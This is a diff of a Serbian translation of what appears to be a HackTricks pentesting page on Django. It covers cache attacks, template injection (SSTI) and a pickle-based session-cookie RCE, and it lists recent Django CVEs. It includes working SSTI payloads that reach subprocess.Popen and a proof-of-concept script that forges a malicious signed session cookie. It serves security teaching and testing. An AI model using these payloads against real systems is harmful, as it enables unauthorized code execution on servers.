Django keš se skladišti na jednom od četiri mesta: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memorija](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [fajlovi](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), ili [baza podataka](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Keš koji se skladišti na Redis serveru ili u bazi podataka su najverovatniji napadni vektori (Redis injekcija i SQL injekcija), ali napadač može takođe iskoristiti keš zasnovan na fajlovima da pretvori proizvoljno pisanje u RCE. Održavaoci su ovo označili kao neproblematično. Važno je napomenuti da će folder sa keš fajlovima, ime SQL tabele i detalji Redis servera varirati u zavisnosti od implementacije.
|
||||
Django cache se čuva na jednom od četiri mesta: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), ili u [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Cache koji se čuva u Redis serveru ili bazi podataka predstavlja najverovatnije vektore napada (Redis injection i SQL injection), ali napadač takođe može iskoristiti file-based cache da pretvori proizvoljni upis u RCE. Održavaoci su ovo označili kao non-issue. Važno je napomenuti da će folder sa cache fajlovima, ime SQL tabele i detalji Redis servera varirati u zavisnosti od implementacije.
|
||||
|
||||
Ovaj HackerOne izveštaj pruža odličan, ponovljiv primer eksploatacije Django keša koji se skladišti u SQLite bazi podataka: https://hackerone.com/reports/1415436
|
||||
Ovaj HackerOne izveštaj daje odličan, ponovljiv primer iskorišćavanja Django cache-a koji se čuva u SQLite bazi: https://hackerone.com/reports/1415436
|
||||
|
||||
---
|
||||
|
||||
## Injekcija šablona na serverskoj strani (SSTI)
|
||||
Django Template Language (DTL) je **Turing-kompletan**. Ako se podaci koje je dostavio korisnik renderuju kao *šablonski string* (na primer, pozivanjem `Template(user_input).render()` ili kada `|safe`/`format_html()` uklanja automatsko eskapiranje), napadač može postići pun SSTI → RCE.
|
||||
## Server-Side Template Injection (SSTI)
|
||||
Django Template Language (DTL) je **Turing-complete**. Ako se podaci koje korisnik prosledi renderuju kao *template string* (na primer pozivom `Template(user_input).render()` ili kada `|safe`/`format_html()` ukloni automatsko escapovanje), napadač može postići potpun SSTI → RCE.
|
||||
|
||||
### Detekcija
|
||||
1. Tražite dinamičke pozive `Template()` / `Engine.from_string()` / `render_to_string()` koji uključuju *bilo koje* nefiltrirane podatke iz zahteva.
|
||||
2. Pošaljite payload zasnovan na vremenu ili aritmetici:
|
||||
### Detection
|
||||
1. Tražite dinamičke pozive `Template()` / `Engine.from_string()` / `render_to_string()` koji uključuju *bilo koji* nesanitizovani podatak iz zahteva.
|
||||
2. Pošaljite time-based ili arithmetic payload:
|
||||
```django
|
||||
{{7*7}}
|
||||
```
|
||||
Ako renderovani izlaz sadrži `49`, ulaz se kompajlira od strane šablonskog engine-a.
|
||||
Ako renderovani izlaz sadrži `49`, ulaz je kompajliran od strane template engine-a.
|
||||
|
||||
### Primitiv do RCE
|
||||
Django blokira direktan pristup `__import__`, ali je Python objekat graf dostupan:
|
||||
### Primitiv za RCE
|
||||
Django blokira direktan pristup `__import__`, ali Python graf objekata je dostupan:
|
||||
```django
|
||||
{{''.__class__.mro()[1].__subclasses__()}}
|
||||
```
|
||||
Pronađite indeks `subprocess.Popen` (≈400–500 u zavisnosti od Python verzije) i izvršite proizvoljne komande:
|
||||
Pronađite indeks `subprocess.Popen` (≈400–500 u zavisnosti od Python builda) i izvršite proizvoljne komande:
|
||||
```django
|
||||
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
|
||||
```
|
||||
Bezbedniji univerzalni uređaj je iterirati dok `cls.__name__ == 'Popen'`.
|
||||
Sigurniji univerzalni gadget je iterirati dok `cls.__name__ == 'Popen'`.
|
||||
|
||||
Isti uređaj funkcioniše za **Debug Toolbar** ili **Django-CMS** funkcije renderovanja šablona koje pogrešno obrađuju korisnički unos.
|
||||
Isti gadget radi za **Debug Toolbar** ili **Django-CMS** template rendering funkcije koje neispravno rukovode korisničkim unosom.
|
||||
|
||||
---
|
||||
|
||||
### Takođe vidi: ReportLab/xhtml2pdf PDF export RCE
|
||||
Aplikacije izgrađene na Django često integrišu xhtml2pdf/ReportLab za izvoz prikaza u PDF. Kada HTML pod kontrolom korisnika dospe u generisanje PDF-a, rl_safe_eval može evaluirati izraze unutar trostrukih zagrada `[[[ ... ]]]`, omogućavajući izvršavanje koda (CVE-2023-33733). Detalji, payloads i mitigations:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
## Pickle-Backed Session Cookie RCE
|
||||
Ako je podešavanje `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` omogućeno (ili prilagođeni serializer koji deserializuje pickle), Django *dekriptuje i unpickles* kolačić sesije **pre** nego što pozove bilo koji kod prikaza. Stoga, posedovanje važećeg ključa za potpisivanje (projekat `SECRET_KEY` po defaultu) je dovoljno za trenutnu daljinsku izvršavanje koda.
|
||||
Ako je podešavanje `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` omogućeno (ili custom serializer koji deserializuje pickle), Django *decrypts and unpickles* session cookie **pre** pozivanja bilo kog view koda. Dakle, posedovanje važećeg signing key-a (projekat `SECRET_KEY` po defaultu) je dovoljno za trenutnu remote code execution.
|
||||
|
||||
### Zahtevi za Eksploataciju
|
||||
### Exploit Requirements
|
||||
* Server koristi `PickleSerializer`.
|
||||
* Napadač zna / može da pogodi `settings.SECRET_KEY` (curenja putem GitHub-a, `.env`, stranica sa greškama, itd.).
|
||||
* Napadač zna / može pogoditi `settings.SECRET_KEY` (leaks via GitHub, `.env`, error pages, etc.).
|
||||
|
||||
### Dokaz-Koncept
|
||||
### Proof-of-Concept
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from django.contrib.sessions.serializers import PickleSerializer
|
||||
@ -58,22 +67,23 @@ return (os.system, ("id > /tmp/pwned",))
|
||||
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
|
||||
print(f"sessionid={mal}")
|
||||
```
|
||||
Pošaljite rezultantni kolačić, a payload se izvršava sa dozvolama WSGI radnika.
|
||||
Pošaljite dobijeni cookie — payload se izvršava sa privilegijama WSGI workera.
|
||||
|
||||
**Mere zaštite**: Držite podrazumevani `JSONSerializer`, rotirajte `SECRET_KEY` i konfigurišite `SESSION_COOKIE_HTTPONLY`.
|
||||
**Mitigations**: Zadržite podrazumevani `JSONSerializer`, rotirajte `SECRET_KEY` i konfigurišite `SESSION_COOKIE_HTTPONLY`.
|
||||
|
||||
---
|
||||
|
||||
## Nedavne (2023-2025) visoko uticajne Django CVE koje pentesteri treba da provere
|
||||
* **CVE-2025-48432** – *Log Injection putem neizbeženog `request.path`* (ispravljeno 4. juna 2025). Omogućava napadačima da prokrijumčare nove linije/ANSI kodove u log fajlove i otrovaju analizu logova nizvodno. Nivo zakrpe ≥ 4.2.22 / 5.1.10 / 5.2.2.
|
||||
* **CVE-2024-42005** – *Kritična SQL injekcija* u `QuerySet.values()/values_list()` na `JSONField` (CVSS 9.8). Kreirajte JSON ključeve da biste izašli iz navodnika i izvršili proizvoljan SQL. Ispravljeno u 4.2.15 / 5.0.8.
|
||||
## Nedavni (2023-2025) CVE-ovi za Django visokog uticaja koje Pentesters treba da provere
|
||||
* **CVE-2025-48432** – *Log Injection via unescaped `request.path`* (ispravljeno 4. jun 2025). Omogućava napadačima da ubace newlines/ANSI kodove u log fajlove i zagade naknadnu analizu logova. Nivo zakrpe ≥ 4.2.22 / 5.1.10 / 5.2.2.
|
||||
* **CVE-2024-42005** – *Critical SQL injection* in `QuerySet.values()/values_list()` on `JSONField` (CVSS 9.8). Kreiranjem JSON ključeva moguće je prekinuti citiranje i izvršiti proizvoljan SQL. Ispravljeno u verzijama 4.2.15 / 5.0.8.
|
||||
|
||||
Uvek identifikujte tačnu verziju okvira putem `X-Frame-Options` stranice greške ili `/static/admin/css/base.css` hash-a i testirajte navedeno gde je primenljivo.
|
||||
Uvek identifikujte tačnu verziju framework-a pomoću stranice greške za `X-Frame-Options` ili hasha `/static/admin/css/base.css` i testirajte gore navedeno gde je primenljivo.
|
||||
|
||||
---
|
||||
|
||||
## Reference
|
||||
* Django bezbednosno izdanje – "Django 5.2.2, 5.1.10, 4.2.22 rešava CVE-2025-48432" – 4. jun 2025.
|
||||
* OP-Innovate: "Django objavljuje bezbednosne ažuriranja za rešavanje SQL injekcije CVE-2024-42005" – 11. avgust 2024.
|
||||
* Django security release – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025.
|
||||
* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024.
|
||||
* 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD – [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user